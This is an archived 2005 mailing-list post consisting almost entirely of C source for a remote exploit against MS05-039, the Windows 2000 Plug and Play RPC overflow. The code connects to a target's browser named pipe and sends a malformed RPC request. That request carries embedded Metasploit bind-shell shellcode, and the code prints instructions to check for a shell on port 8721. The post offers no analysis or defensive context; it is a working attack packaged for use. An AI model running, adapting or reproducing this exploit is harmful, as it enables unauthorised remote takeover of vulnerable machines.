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Message-ID: <200508112243.j7BMhidj002860@mailserver3.hushmail.com>
Date: Thu Aug 11 23:43:53 2005
From: sl0ppy at hush.ai (sl0ppy@...h.ai)
Subject: Windows 2000 universal exploit for MS05-039
/*
Windows 2000 universal exploit for MS05-039
-\x6d\x35\x6c\x30\x6e\x6e\x79-
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winnetwk.h>
#include <winsock.h>
#include <Rpc.h>
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
BYTE Data1[0x68] =
{0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,
0x52,0x00,0x4F,0x00,0x4F,0x00,0x54,0x00,0x5C,0x00,0x53,0x00,
0x59,0x00,0x53,0x00,0x54,0x00,0x45,0x00,0x4D,0x00,0x5C,0x00,
0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x00,0x00,0x00,0x00,
0xFF,0xFF,0x00,0x00,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xEE,0xEE,0xEE,0xEE,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x21,0x00,0x00,0x00,
0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
struct DataStruct1
{
BYTE SomeString[0x30];
DWORD RESDataType;
DWORD LFD;
DWORD SDM1;
DWORD SDO;
DWORD SDL;
DWORD SDM2;
BYTE SDA[0x07D0];
DWORD LRD;
DWORD MB;
DWORD DM;
};
struct RPCBIND
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
WORD MaxXmitFrag;
WORD MaxRecvFrag;
DWORD AssocGroup;
BYTE NumCtxItems;
WORD ContextID;
WORD NumTransItems;
GUID InterfaceUUID;
WORD InterfaceVerMaj;
WORD InterfaceVerMin;
GUID TransferSyntax;
DWORD SyntaxVer;
};
//from metasploit, before you were born
BYTE
BindShell[374]={"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x1
8\x8b\x45\x3c"
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e"
"\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53"
"\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4"
"\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xd9"
"\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d"
"\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59\x51"
"\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54"
"\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff"
"\x55\x2c\x89\xc7\x31\xdb\x53\x53\x68\x02\x00\x22\x11\x89\xe0\x6a"
"\x10\x50\x57\xff\x55\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff\x55"
"\x20\x89\xc7\x68\x43\x4d\x44\x00\x89\xe3\x87\xfa\x31\xc0\x8d\x7c"
"\x24\xac\x6a\x15\x59\xf3\xab\x87\xfa\x83\xec\x54\xc6\x44\x24\x10"
"\x44\x66\xc7\x44\x24\x3c\x01\x01\x89\x7c\x24\x48\x89\x7c\x24\x4c"
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\x53\x51\xff\x75\x00\x68\x72\xfe\xb3\x16\xff\x55\x04\xff"
"\xd0\x89\xe6\xff\x75\x00\x68\xad\xd9\x05\xce\xff\x55\x04\x89\xc3"
"\x6a\xff\xff\x36\xff\xd3\xff\x75\x00\x68\x7e\xd8\xe2\x73\xff\x55"
"\x04\x31\xdb\x53\xff\xd0"};
BYTE PRPC[0x48] =
{0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x
00,0x00,0x00,
0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x
00,0x01,0x00,
0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0x
D9,0x2E,0xF5,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0x
E8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
struct RPCFUNC
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
DWORD AllocHint;
WORD ContextID;
WORD Opnum;
};
BYTE POP[0x27] =
{0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xAC,0x10,0x00,0x00,0x01,0x
00,0x00,0x00,
0x94,0x10,0x00,0x00,0x00,0x00,0x09,0x00,0x05,0x08,0x00,0x00,0x00,0x
00,0x00,0x00,
0x05,0x08,0x00,0x00,0x41,0x00,0x41};
int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer)
{
BYTE rbuf[0x1000];
DWORD dw;
struct RPCBIND RPCBind;
memcpy(&RPCBind,&PRPC,sizeof(RPCBind));
UuidFromString(Interface,&RPCBind.InterfaceUUID);
UuidToString(&RPCBind.InterfaceUUID,&Interface);
RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]);
RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]);
TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,
sizeof(rbuf), &dw, NULL);
return 0;
}
int Attack(HANDLE PipeHandle)
{
struct RPCFUNC RPCOP;
int bwritten=0;
BYTE *LargeBuffer;
BYTE rbuf[0x100];
DWORD dw;
struct DataStruct1 EvilRPC;
memcpy(&EvilRPC,&Data1,sizeof(EvilRPC));
EvilRPC.SDL=0x07C0;
memset(EvilRPC.SDA,0x90,0x07D0);
EvilRPC.SDA[76]=0x3e;
EvilRPC.SDA[77]=0x1e;
EvilRPC.SDA[78]=0x02;
EvilRPC.SDA[79]=0x75;
memset(EvilRPC.SDA+80,0x90,10);
EvilRPC.SDA[90]=0x90;
memcpy(EvilRPC.SDA+94,BindShell,374);
EvilRPC.MB=0x00000004;
EvilRPC.DM=0x00000000;
EvilRPC.LFD=0x000007E0;
EvilRPC.LRD=0x000007E0;
memcpy(&RPCOP,&POP,sizeof(RPCOP));
RPCOP.Opnum = 54;
RPCOP.FragLength=sizeof(RPCOP)+sizeof(EvilRPC);
RPCOP.AllocHint=sizeof(EvilRPC);
LargeBuffer=malloc(sizeof(RPCOP)+sizeof(EvilRPC));
memset(LargeBuffer,0x00,sizeof(RPCOP)+sizeof(EvilRPC));
memcpy(LargeBuffer,&RPCOP,sizeof(RPCOP));
memcpy(LargeBuffer+sizeof(RPCOP),&EvilRPC,sizeof(EvilRPC));
printf("Sending payload...\nThis has to time out... ctrl+c after 5
secs\ncheck for shell on port 8721");
TransactNamedPipe(PipeHandle, LargeBuffer,
sizeof(RPCOP)+sizeof(EvilRPC), rbuf, sizeof(rbuf), &dw, NULL);
free(LargeBuffer);
return 0;
}
int main(int argc, char* argv[])
{
char *server;
NETRESOURCE nr;
char unc[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
if (argc < 2)
{
printf("Usage: %s <host>\n", argv[0]);
return 1;
}
server=argv[1];
_snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server);
unc[sizeof(unc)-1] = 0;
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = unc;
nr.lpProvider = NULL;
WNetAddConnection2(&nr, "", "", 0);
_snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser",server);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
BindRpcInterface(hFile,"8d9f4e40-a03d-11ce-8f69-
08003e30051b","1.0");
//SendMalformed RPC request
Attack(hFile);
return 0;
}
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